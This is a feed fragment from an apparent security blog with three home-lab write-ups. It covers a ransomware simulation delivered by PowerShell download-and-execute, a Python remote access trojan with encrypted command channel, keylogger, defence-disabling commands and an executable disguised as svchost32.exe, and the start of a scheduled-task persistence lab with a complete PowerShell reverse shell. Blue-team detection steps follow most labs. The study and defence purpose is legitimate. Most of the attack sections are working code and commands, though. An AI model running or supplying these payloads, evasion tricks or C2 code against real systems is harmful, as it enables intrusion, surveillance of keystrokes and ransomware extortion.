&lt;p&gt;&lt;img src=&quot;https://zy0ud.me/_astro/4c.D_21-N3t_Z1yg4w9.webp&quot; alt=&quot;Python HTTP server running on Kali&quot;&gt;
&lt;em&gt;HTTP server serving ransom.exe on port 8080&lt;/em&gt;&lt;/p&gt;
&lt;h3&gt;Step 3: Download &amp;#x26; Execute Remotely (Windows)&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-powershell&quot;&gt;Invoke-WebRequest -Uri &quot;http://192.168.0.101:8080/ransom.exe&quot; -OutFile &quot;C:\Users\Public\ransom.exe&quot;
Start-Process &quot;C:\Users\Public\ransom.exe&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://zy0ud.me/_astro/4d.HR54_5Ry_Z1CoTGp.webp&quot; alt=&quot;Invoke-WebRequest downloading ransom.exe&quot;&gt;
&lt;em&gt;ransom.exe downloaded from Kali HTTP server&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://zy0ud.me/_astro/4e.C2MSN54h_2lTWca.webp&quot; alt=&quot;Start-Process and connection confirmed on Kali&quot;&gt;
&lt;em&gt;Victim connected to attacker — C2 session established&lt;/em&gt;&lt;/p&gt;
&lt;h3&gt;Step 4: Ransomware Execution&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;RAT&gt; encrypt
→ Encrypted X files. Decryption key stored.

RAT&gt; ransom_note
→ Ransom note dropped at C:\Users\Public\Documents\READ_ME.txt

RAT&gt; download ransom_key.txt
→ [+] Downloaded: ransom_key.txt

RAT&gt; decrypt &amp;#x3C;key&gt;
→ Decrypted X files.
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://zy0ud.me/_astro/4f.TZPv9euJ_Z1cGKwN.webp&quot; alt=&quot;encrypt command — files encrypted on victim&quot;&gt;
&lt;em&gt;Files encrypted in C:\Users\Public\Documents&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://zy0ud.me/_astro/4g.d7hkz3GP_Z1PyRyP.webp&quot; alt=&quot;ransom_note command — READ_ME.txt dropped&quot;&gt;
&lt;em&gt;Ransom note dropped on victim&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://zy0ud.me/_astro/4h.eQf55Xom_ZqOygh.webp&quot; alt=&quot;decrypt command — files restored&quot;&gt;
&lt;em&gt;Files successfully decrypted after correct key exchange&lt;/em&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;Section 5: Defense &amp;#x26; Mitigation&lt;/h2&gt;
&lt;h3&gt;Detect the Connection&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-powershell&quot;&gt;netstat -ano | findstr :8008
# TCP 192.168.0.102:XXXXX 192.168.0.101:8008 ESTABLISHED &amp;#x3C;PID&gt;

tasklist | findstr ransom.exe
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://zy0ud.me/_astro/5a.CCpnD2Ei_Z1vY0Fm.webp&quot; alt=&quot;netstat showing ESTABLISHED on port 8008&quot;&gt;
&lt;em&gt;Active C2 connection on port 8008 identified&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://zy0ud.me/_astro/5b.moguqNpw_atOK7.webp&quot; alt=&quot;tasklist showing ransom.exe process&quot;&gt;
&lt;em&gt;ransom.exe process confirmed running&lt;/em&gt;&lt;/p&gt;
&lt;h3&gt;Terminate &amp;#x26; Block&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-powershell&quot;&gt;taskkill /F /IM ransom.exe

New-NetFirewallRule -DisplayName &quot;Block Ransomware Traffic&quot; `
  -Direction Outbound -LocalPort 8008 -Protocol TCP -Action Block
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://zy0ud.me/_astro/5c.CYzirLMC_Z1KAqGH.webp&quot; alt=&quot;taskkill terminating ransom.exe&quot;&gt;
&lt;em&gt;Process terminated&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://zy0ud.me/_astro/5d.CkwLga3Y_ZCRqdr.webp&quot; alt=&quot;Firewall rule blocking port 8008&quot;&gt;
&lt;em&gt;Outbound rule created — port 8008 blocked&lt;/em&gt;&lt;/p&gt;
&lt;h3&gt;Blue Team Takeaways&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Rapid file modification&lt;/strong&gt; in &lt;code&gt;C:\Users\Public\Documents&lt;/code&gt; is a Sysmon &lt;strong&gt;Event ID 11&lt;/strong&gt; (File Created) red flag — ransomware leaves a clear trail of file write operations&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Sysmon Event ID 3&lt;/strong&gt; catches the outbound TCP connection on port 8008 immediately&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Fernet key stored on disk&lt;/strong&gt; (&lt;code&gt;ransom_key.txt&lt;/code&gt;) is a critical OPSEC mistake — a real attacker would exfiltrate the key and delete it locally, making recovery impossible without paying&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Backups&lt;/strong&gt; are the most reliable defense — no key exchange needed if you can restore from a clean snapshot&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h2&gt;Section 7: Rust C2 — AES-256-GCM Encrypted TCP Channel&lt;/h2&gt;
&lt;p&gt;This section implements the same client-server concept in &lt;strong&gt;Rust&lt;/strong&gt;, using the &lt;code&gt;aes-gcm&lt;/code&gt; crate for AES-256-GCM encryption — a step up from Python&apos;s AES-EAX, with built-in authentication and a 12-byte nonce.&lt;/p&gt;
&lt;h3&gt;Server (Kali) — &lt;code&gt;server.rs&lt;/code&gt;&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-rust&quot;&gt;use aes_gcm::{aead::{Aead, KeyInit}, Aes256Gcm, Nonce};
use base64::{engine::general_purpose, Engine as _};
use rand::RngCore;
use std::io::{Read, Write};
use std::net::TcpListener;

const KEY: &amp;#x26;[u8; 32] = b&quot;0123456789abcdef0123456789abcdef&quot;;

fn encrypt_message(plaintext: &amp;#x26;str) -&gt; String {
    let key = aes_gcm::Key::&amp;#x3C;Aes256Gcm&gt;::from_slice(KEY);
    let cipher = Aes256Gcm::new(&amp;#x26;key);
    let mut nonce_bytes = [0u8; 12];
    rand::thread_rng().fill_bytes(&amp;#x26;mut nonce_bytes);
    let nonce = Nonce::from_slice(&amp;#x26;nonce_bytes);
    let ciphertext = cipher.encrypt(nonce, plaintext.as_bytes()).unwrap();
    let mut combined = nonce_bytes.to_vec();
    combined.extend_from_slice(&amp;#x26;ciphertext);
    general_purpose::STANDARD.encode(&amp;#x26;combined)
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Client (Windows) — &lt;code&gt;client.rs&lt;/code&gt;&lt;/h3&gt;
&lt;p&gt;Connects to the server, receives and decrypts the greeting, encrypts a response and sends it back.&lt;/p&gt;
&lt;h3&gt;Compile &amp;#x26; Run&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;# Kali (server)
rustc server.rs -o server --edition 2021
./server

# Windows (client)
rustc client.rs -o client.exe --edition 2021
.\client.exe
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://zy0ud.me/_astro/7a.DEqNkwLm_ZHeEHc.webp&quot; alt=&quot;Rust server and client exchange&quot;&gt;
&lt;em&gt;Rust server listening and client connected&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://zy0ud.me/_astro/7b.BPQTS6ns_ZgIu2V.webp&quot; alt=&quot;Encrypted greeting received on client&quot;&gt;
&lt;em&gt;AES-256-GCM encrypted greeting decrypted on the client side&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://zy0ud.me/_astro/7c.DTHcbuU6_ZpwnWs.webp&quot; alt=&quot;Client response received on server&quot;&gt;
&lt;em&gt;Encrypted response from client decrypted on server&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://zy0ud.me/_astro/7d.Chnb6WEW_Z24kp47.webp&quot; alt=&quot;Full Rust C2 exchange complete&quot;&gt;
&lt;em&gt;Full bidirectional encrypted C2 channel working in Rust&lt;/em&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;Conclusion&lt;/h2&gt;
&lt;p&gt;This lab extended the RAT concept from Lab 1 into a ransomware simulation — same AES-EAX command channel, but now with a &lt;strong&gt;separate Fernet file encryption layer&lt;/strong&gt; that targets a specific directory. The remote deployment flow (PyInstaller → HTTP server → Invoke-WebRequest → Start-Process) demonstrated how an attacker can deliver and trigger a payload without direct access to the victim.&lt;/p&gt;
&lt;p&gt;The Rust section introduced AES-256-GCM as an alternative to Python&apos;s AES-EAX, with Rust&apos;s type system enforcing safer cryptographic practices at compile time.&lt;/p&gt;</content:encoded><h:img src="/_astro/1659952915784.Bgxq8mGW.png"/><enclosure url="/_astro/1659952915784.Bgxq8mGW.png"/></item><item><title>Python RAT: AES-EAX C2 &amp; Keylogger</title><link>https://zy0ud.me/blog/eh2-lab1-python-rat-aes-c2</link><guid isPermaLink="true">https://zy0ud.me/blog/eh2-lab1-python-rat-aes-c2</guid><description>This lab covers building a fully functional Remote Access Trojan (RAT) from scratch in Python, deploying it in a controlled Host-Only virtual environment,…</description><pubDate>Fri, 01 May 2026 07:00:00 GMT</pubDate><content:encoded>&lt;p&gt;import { Aside } from &apos;astro-pure/user&apos;&lt;/p&gt;
&lt;h2&gt;Overview&lt;/h2&gt;
&lt;p&gt;This lab covers building a fully functional &lt;strong&gt;Remote Access Trojan (RAT)&lt;/strong&gt; from scratch in Python, deploying it in a controlled Host-Only virtual environment, and then switching to the blue team side to detect and terminate it. The RAT uses &lt;strong&gt;AES-EAX authenticated encryption&lt;/strong&gt; for all C2 traffic — no plaintext commands go over the wire.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Environment:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Kali Linux (Attacker):&lt;/strong&gt; &lt;code&gt;192.168.0.101&lt;/code&gt; — Host-Only network&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Windows Server 2022 (Victim):&lt;/strong&gt; &lt;code&gt;192.168.0.102&lt;/code&gt; — Host-Only network&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;C2 Port:&lt;/strong&gt; &lt;code&gt;8008/TCP&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h2&gt;Section 1: Environment Setup &amp;#x26; Network Configuration&lt;/h2&gt;
&lt;p&gt;Assigned static IPs on both VMs on a Host-Only network, then verified bidirectional connectivity and confirmed the C2 port was reachable.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Kali:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;sudo ip addr add 192.168.0.101/24 dev eth0
sudo ip link set eth0 up
ip addr show eth0
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Windows (PowerShell Admin):&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-powershell&quot;&gt;New-NetIPAddress -InterfaceAlias &apos;Ethernet&apos; -IPAddress 192.168.0.102 -PrefixLength 24
ipconfig /all
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Connectivity checks:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;# Kali → Windows
ping -c 4 192.168.0.102
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-powershell&quot;&gt;# Windows → Kali (port reachability)
Test-NetConnection -ComputerName 192.168.0.101 -Port 8008
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Also disabled Windows Defender and the firewall for the lab session:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-powershell&quot;&gt;Set-NetFirewallProfile -Profile Domain,Public,Private -Enabled False
Set-MpPreference -DisableRealtimeMonitoring $true
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://zy0ud.me/_astro/1a.DjWyr5J5_Z1TF5v.webp&quot; alt=&quot;Kali ip addr show&quot;&gt;
&lt;em&gt;Kali with static IP 192.168.0.101 assigned&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://zy0ud.me/_astro/1b.mhvzPALH_pofU6.webp&quot; alt=&quot;Windows ipconfig /all&quot;&gt;
&lt;em&gt;Windows Server with static IP 192.168.0.102&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://zy0ud.me/_astro/1c.BnR6Sd8B_Z1vrW4n.webp&quot; alt=&quot;Ping from Kali to Windows&quot;&gt;
&lt;em&gt;4/4 ping replies — bidirectional connectivity confirmed&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://zy0ud.me/_astro/1d.M4kBBCGC_ZM1AiA.webp&quot; alt=&quot;Test-NetConnection port 8008&quot;&gt;
&lt;em&gt;TcpTestSucceeded: True — C2 port reachable&lt;/em&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;Section 2: Installing Dependencies&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;On Kali:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;sudo apt update &amp;#x26;&amp;#x26; sudo apt install -y python3 python3-pip git
pip3 install pycryptodome pyautogui pynput pyinstaller psutil
pip3 list | grep -E &apos;pycryptodome|pyautogui|pynput|pyinstaller|psutil&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;On Windows (PowerShell Admin):&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-powershell&quot;&gt;pip install pycryptodome pyautogui pynput pyinstaller psutil
pip list
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;| Library | Purpose |
|---|---|
| &lt;code&gt;pycryptodome&lt;/code&gt; | AES-EAX authenticated encryption for all C2 traffic |
| &lt;code&gt;pyautogui&lt;/code&gt; | Programmatic screenshot capture on the victim |
| &lt;code&gt;pynput&lt;/code&gt; | Low-level keyboard hook for the keylogger |
| &lt;code&gt;pyinstaller&lt;/code&gt; | Bundles the script into a silent &lt;code&gt;.exe&lt;/code&gt; |
| &lt;code&gt;psutil&lt;/code&gt; | Enumerate live processes by name |&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://zy0ud.me/_astro/2a.CHv_6eGZ_1PGrOx.webp&quot; alt=&quot;pip list on Kali&quot;&gt;
&lt;em&gt;All 5 libraries confirmed on Kali&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://zy0ud.me/_astro/2b.BSE36Skq_ock3g.webp&quot; alt=&quot;pip list on Windows&quot;&gt;
&lt;em&gt;All 5 libraries confirmed on Windows&lt;/em&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;Section 3: Creating &amp;#x26; Transferring the RAT Scripts&lt;/h2&gt;
&lt;p&gt;The RAT uses a &lt;strong&gt;reverse-shell model&lt;/strong&gt; — the victim connects out to the attacker&apos;s listener. All traffic is encrypted with AES-EAX and base64-encoded. Both scripts share the same 32-byte key.&lt;/p&gt;
&lt;h3&gt;Attacker Controller — &lt;code&gt;hackerkey.py&lt;/code&gt; (Kali)&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;import socket, base64
from Crypto.Cipher import AES

KEY = b&apos;0123456789abcdef0123456789abcdef&apos;
IDENTIFIER = &quot;&amp;#x3C;END_OF_COMMAND_RESULT&gt;&quot;
EOF_IDENTIFIER = &quot;&amp;#x3C;END_OF_FILE_IDENTIFIER&gt;&quot;
CHUNK_SIZE = 2048

def encrypt_message(message):
    cipher = AES.new(KEY, AES.MODE_EAX)
    ct, _ = cipher.encrypt_and_digest(message.encode())
    return base64.b64encode(cipher.nonce + ct).decode()

def decrypt_message(encrypted):
    data = base64.b64decode(encrypted)
    cipher = AES.new(KEY, AES.MODE_EAX, nonce=data[:16])
    return cipher.decrypt(data[16:]).decode()

srv = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
srv.bind((&quot;192.168.0.101&quot;, 8008))
srv.listen(5)
print(&quot;[*] Listening on 192.168.0.101:8008 ...&quot;)
conn, addr = srv.accept()
print(f&quot;[+] Connection from {addr}&quot;)

while True:
    cmd = input(&quot;RAT&gt; &quot;)
    conn.send(encrypt_message(cmd).encode())
    if cmd == &quot;stop&quot;:
        conn.close(); srv.close(); break
    # ... (download + receive loop)
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Victim Agent — &lt;code&gt;victimkey.py&lt;/code&gt; (Windows)&lt;/h3&gt;
&lt;p&gt;The victim script starts a &lt;strong&gt;keylogger thread immediately on launch&lt;/strong&gt;, then connects back to the attacker over port 8008. It handles remote commands, screenshot capture, file download, and encrypted shell output.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Transfer to Windows:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;# Kali: host the script
cd ~
python3 -m http.server 8080
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-powershell&quot;&gt;# Windows: download it
Invoke-WebRequest -Uri &quot;http://192.168.0.101:8080/victimkey.py&quot; -OutFile &quot;C:\Scripts\victimkey.py&quot;
Get-Content C:\Scripts\victimkey.py | Select-Object -First 5
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://zy0ud.me/_astro/3a.BAoehnJN_MpxNd.webp&quot; alt=&quot;hackerkey.py first 15 lines on Kali&quot;&gt;
&lt;em&gt;Attacker controller script open on Kali&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://zy0ud.me/_astro/3b.CulhXRhy_Z24OEUh.webp&quot; alt=&quot;victimkey.py on Windows&quot;&gt;
&lt;em&gt;Victim agent confirmed in C:\Scripts&lt;/em&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;Section 4: Attacker Execution &amp;#x26; Feature Demo&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Launch order:&lt;/strong&gt; always start &lt;code&gt;hackerkey.py&lt;/code&gt; on Kali first (it listens), then run &lt;code&gt;victimkey.py&lt;/code&gt; on Windows. The &lt;code&gt;RAT&gt;&lt;/code&gt; prompt appears once the victim connects.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;# Kali
python3 ~/hackerkey.py
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-powershell&quot;&gt;# Windows
cd C:\Scripts
python victimkey.py
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Task 4a: Remote Command Execution&lt;/h3&gt;
&lt;p&gt;From the &lt;code&gt;RAT&gt;&lt;/code&gt; prompt on Kali:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;RAT&gt; whoami     → lab\admin
RAT&gt; hostname   → Group2
RAT&gt; dir C:\Users
RAT&gt; Get-Date
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://zy0ud.me/_astro/4a.DbPTny0l_1MdAeJ.webp&quot; alt=&quot;RAT prompt with command output&quot;&gt;
&lt;em&gt;RAT session active — whoami, hostname, dir C:\Users returned from victim&lt;/em&gt;&lt;/p&gt;
&lt;h3&gt;Task 4b: Screenshot Capture &amp;#x26; Download&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;RAT&gt; screenshot           # Victim saves screenshot.png
RAT&gt; download screenshot.png
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;xdg-open screenshot.png   # Open on Kali
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://zy0ud.me/_astro/4b.9OqCLvnI_ZIzfL9.webp&quot; alt=&quot;screenshot.png opened on Kali&quot;&gt;
&lt;em&gt;Victim&apos;s desktop captured and pulled to Kali&lt;/em&gt;&lt;/p&gt;
&lt;h3&gt;Task 4c: Keylogger Exfiltration&lt;/h3&gt;
&lt;p&gt;The keylogger starts automatically when &lt;code&gt;victimkey.py&lt;/code&gt; launches, writing every keystroke to &lt;code&gt;C:\temp\keys.log&lt;/code&gt;. After typing on the victim machine:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;RAT&gt; download C:\temp\keys.log
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;cat keys.log
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://zy0ud.me/_astro/4c.aSV2PTKr_Z2eQbe4.webp&quot; alt=&quot;keys.log content on Kali&quot;&gt;
&lt;em&gt;Keystrokes captured: Ctrl, Enter, and printable characters all logged&lt;/em&gt;&lt;/p&gt;
&lt;h3&gt;Task 4d: Silent EXE Compilation&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-powershell&quot;&gt;# Windows
cd C:\Scripts
pyinstaller --onefile --noconsole victimkey.py
# Output: dist\victimkey.exe

# Rename to blend in:
Rename-Item &quot;.\dist\victimkey.exe&quot; &quot;.\dist\svchost32.exe&quot;

# Run silently — no console window:
.\dist\svchost32.exe
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://zy0ud.me/_astro/4d-i.LxUfpPmu_1SBtw7.webp&quot; alt=&quot;PyInstaller compilation output&quot;&gt;
&lt;em&gt;dist\victimkey.exe created successfully&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://zy0ud.me/_astro/4d-ii.ioKdAQG1_Z1f9d9U.webp&quot; alt=&quot;Task Manager showing svchost32.exe&quot;&gt;
&lt;em&gt;Process running under svchost32.exe — no console window, blends in with system processes&lt;/em&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;Section 5: Defense &amp;#x26; Mitigation&lt;/h2&gt;
&lt;h3&gt;5.1 Detect with netstat&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-powershell&quot;&gt;netstat -ano | findstr :8008
# TCP 192.168.0.102:XXXXX 192.168.0.101:8008 ESTABLISHED &amp;#x3C;PID&gt;
tasklist | findstr &amp;#x3C;PID&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://zy0ud.me/_astro/5a.D5EU0zHQ_tDsoR.webp&quot; alt=&quot;netstat showing ESTABLISHED on port 8008&quot;&gt;
&lt;em&gt;Active C2 connection on port 8008 identified&lt;/em&gt;&lt;/p&gt;
&lt;h3&gt;5.2 Detect with Sysmon&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-powershell&quot;&gt;# Event ID 1 — Process Creation
Get-WinEvent -LogName &quot;Microsoft-Windows-Sysmon/Operational&quot; |
Where-Object { $_.Id -eq 1 } | Select-Object -First 10

# Event ID 3 — Network Connection
Get-WinEvent -LogName &quot;Microsoft-Windows-Sysmon/Operational&quot; |
Where-Object { $_.Id -eq 3 -and $_.Message -like &quot;*8008*&quot; } |
Select-Object TimeCreated, Message | Format-List
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://zy0ud.me/_astro/5b.CB28YVvc_Z1OvLrh.webp&quot; alt=&quot;Sysmon Event ID 1 - process creation&quot;&gt;
&lt;em&gt;Sysmon Event ID 1 showing svchost32.exe process creation with full command line&lt;/em&gt;&lt;/p&gt;
&lt;h3&gt;5.3 Terminate the RAT&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-powershell&quot;&gt;# Kill by name
taskkill /F /IM svchost32.exe

# Block C2 port at the firewall
New-NetFirewallRule -DisplayName &apos;Block RAT Port 8008&apos; -Direction Outbound -LocalPort 8008 -Protocol TCP -Action Block

# Verify connection closed
netstat -ano | findstr :8008   # Must return empty
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://zy0ud.me/_astro/5cd.aT-DYL5W_Z1M7g6q.webp&quot; alt=&quot;taskkill confirmation + empty netstat&quot;&gt;
&lt;em&gt;svchost32.exe terminated and port 8008 connection confirmed closed&lt;/em&gt;&lt;/p&gt;
&lt;h3&gt;5.4 Re-enable Defenses&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-powershell&quot;&gt;Set-MpPreference -DisableRealtimeMonitoring $false
Set-NetFirewallProfile -Profile Domain,Public,Private -Enabled True
&lt;/code&gt;&lt;/pre&gt;
&lt;hr&gt;
&lt;h2&gt;Blue Team Takeaways&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;What worked for detection:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;netstat -ano | findstr :8008&lt;/code&gt; immediately flagged the outbound C2 connection&lt;/li&gt;
&lt;li&gt;Sysmon &lt;strong&gt;Event ID 1&lt;/strong&gt; (Process Create) revealed &lt;code&gt;svchost32.exe&lt;/code&gt; executing from &lt;code&gt;C:\Scripts\dist\&lt;/code&gt; — a non-standard path for anything named like a system binary&lt;/li&gt;
&lt;li&gt;Sysmon &lt;strong&gt;Event ID 3&lt;/strong&gt; (Network Connection) tied the process to the outbound TCP session on port 8008&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;What made it harder to catch:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;The binary was renamed to &lt;code&gt;svchost32.exe&lt;/code&gt; to blend in with legitimate Windows processes in Task Manager&lt;/li&gt;
&lt;li&gt;All C2 traffic was AES-EAX encrypted — no plaintext commands visible in a packet capture&lt;/li&gt;
&lt;li&gt;The keylogger ran as a thread inside the same process, leaving no additional process entry&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Key lesson:&lt;/strong&gt; process name disguise is cheap and effective against casual inspection, but it falls apart the moment you check the &lt;strong&gt;binary path&lt;/strong&gt; or &lt;strong&gt;hash&lt;/strong&gt; — &lt;code&gt;svchost32.exe&lt;/code&gt; in &lt;code&gt;C:\Scripts\dist\&lt;/code&gt; is an immediate red flag. Sysmon&apos;s &lt;code&gt;Image&lt;/code&gt; field in Event ID 1 always shows the full path.&lt;/p&gt;</content:encoded><h:img src="/_astro/RATimg.BcxdKH5F.jpg"/><enclosure url="/_astro/RATimg.BcxdKH5F.jpg"/></item><item><title>Reverse Shell via Scheduled Task</title><link>https://zy0ud.me/blog/home-ad-lab-part5-reverse-shell-persistence</link><guid isPermaLink="true">https://zy0ud.me/blog/home-ad-lab-part5-reverse-shell-persistence</guid><description>Fourth published post in this lab series. Same private environment — Kali Linux (192.168.1.39) against Windows Server 2022 on VMware Workstation. This lab…</description><pubDate>Wed, 07 Jan 2026 07:00:00 GMT</pubDate><content:encoded>&lt;p&gt;import { Aside } from &apos;astro-pure/user&apos;&lt;/p&gt;
&lt;h2&gt;Overview&lt;/h2&gt;
&lt;p&gt;Fourth published post in this lab series. Same private environment — Kali Linux (&lt;code&gt;192.168.1.39&lt;/code&gt;) against Windows Server 2022 on VMware Workstation. This lab covers two persistence techniques: a basic reverse shell via scheduled task, and a variant with a delayed start. No credentials needed here — this builds on the access established in the previous labs.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;Part 1: Reverse Shell via Scheduled Task&lt;/h2&gt;
&lt;h3&gt;Step 1: Prepare the Reverse Shell Script&lt;/h3&gt;
&lt;p&gt;Created a PowerShell script named &lt;code&gt;update_check.ps1&lt;/code&gt; on Kali. It opens a TCP connection back to the attacker on port 4444, reads commands, executes them, and returns output:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-powershell&quot;&gt;$client = New-Object System.Net.Sockets.TCPClient(&quot;192.168.1.39&quot;, 4444)
$stream = $client.GetStream()
$writer = New-Object System.IO.StreamWriter($stream)
$reader = New-Object System.IO.StreamReader($stream)
$writer.AutoFlush = $true

try {
    while ($true) {
        $command = $reader.ReadLine()
        if ($command -eq &quot;exit&quot;) { break }
        $output = try {
            Invoke-Expression $command 2&gt;&amp;#x26;1 | Out-String
        } catch { &quot;Error: $_&quot; }
        $writer.WriteLine($output)
    }
} finally {
    $writer.Close()
    $reader.Close()
    $client.Close()
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://zy0ud.me/_astro/7.DcDCRhkz_Z1dw4GH.webp&quot; alt=&quot;nano editing update_check.ps1&quot;&gt;
&lt;em&gt;Writing the reverse shell script in nano on Kali&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://zy0ud.me/_astro/8.BbkPpGrx_Z2vhgz0.webp&quot; alt=&quot;Script file confirmed in http-server directory&quot;&gt;
&lt;em&gt;update_check.ps1 ready in the http-server directory&lt;/em&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h3&gt;Step 2: Host the Script on Kali&lt;/h3&gt;
&lt;p&gt;Started a Python HTTP server on port 80 to serve the script to the target:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;sudo python3 -m http.server 80
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://zy0ud.me/_astro/9.CDERgvaq_Z17giJQ.webp&quot; alt=&quot;Python HTTP server running on port 80&quot;&gt;
&lt;em&gt;HTTP server serving the payload on 0.0.0.0:80&lt;/em&gt;&lt;/p&gt;
